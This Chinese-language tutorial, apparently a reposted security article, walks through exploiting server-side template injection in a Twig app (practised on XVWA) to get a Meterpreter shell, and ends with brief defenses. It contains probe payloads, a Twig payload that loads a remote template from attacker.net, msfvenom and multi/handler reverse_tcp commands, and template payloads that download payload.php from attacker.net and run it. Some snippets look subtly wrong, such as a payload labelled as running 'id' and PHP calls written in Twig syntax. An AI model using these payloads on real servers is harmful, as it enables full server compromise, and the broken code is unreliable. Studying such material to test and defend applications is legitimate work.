利用SSTI漏洞获取服务器Shell
字数 799 2025-08-29 08:32:30
服务器端模板注入(SSTI)漏洞利用实战指南
1. SSTI漏洞概述
服务器端模板注入(SSTI)是一种安全漏洞,攻击者能够将恶意模板指令作为用户输入注入,并在服务器端执行任意代码。这种漏洞通常出现在使用模板引擎的Web应用程序中。
常见模板引擎
- Smarty
- Twig
- Jinja2
- FreeMarker
- Velocity
2. SSTI漏洞识别
识别特征
在Web页面源代码中查找以下模式:
var greet = 'Hello $name';
<ul>
<% for(var i=0; i < data.length ; i ++) {%>
<li><%= data[i] %></li>
<% } %>
</ul>
<div>
<p>Welcome, {{ username }}</p>
</div>
探测方法
注入数学运算表达式测试:
${{1300+37}}
如果返回1337,则表明存在SSTI漏洞。
3. 漏洞利用实战
环境准备
使用XVWA(Xtreme Vulnerable Web Application)进行练习,其中包含SSTI挑战。
基本利用
- 确认模板引擎类型(本例为Twig)
- 注入测试载荷:
{{7*7}}
- 验证服务器响应是否为
49
执行系统命令
使用以下载荷执行id命令:
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
获取服务器Shell
步骤1: 生成Meterpreter有效载荷
使用Metasploit生成PHP Meterpreter有效载荷:
msfvenom -p php/meterpreter/reverse_tcp LHOST=<攻击者IP> LPORT=<端口> -f raw > payload.php
步骤2: 设置监听器
在Metasploit中配置监听:
msf > use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST <攻击者IP>
msf exploit(handler) > set LPORT <端口>
msf exploit(handler) > exploit
步骤3: 上传并执行载荷
通过SSTI漏洞上传并执行生成的payload.php文件:
{{file_put_contents('payload.php',file_get_contents('http://attacker.net/payload.php'))}}
{{system('php payload.php')}}
步骤4: 获取Meterpreter会话
成功执行后,Metasploit监听器将获得Meterpreter shell,可完全控制目标服务器。
4. 防御措施
输入验证
- 对所有用户输入进行严格过滤
- 禁止用户输入中包含模板语法特殊字符
安全配置
- 使用沙箱环境限制模板执行权限
- 禁用危险的模板指令和函数
- 最小化模板引擎的系统访问权限
其他措施
- 定期更新模板引擎到最新版本
- 实施内容安全策略(CSP)
- 记录和监控可疑的模板操作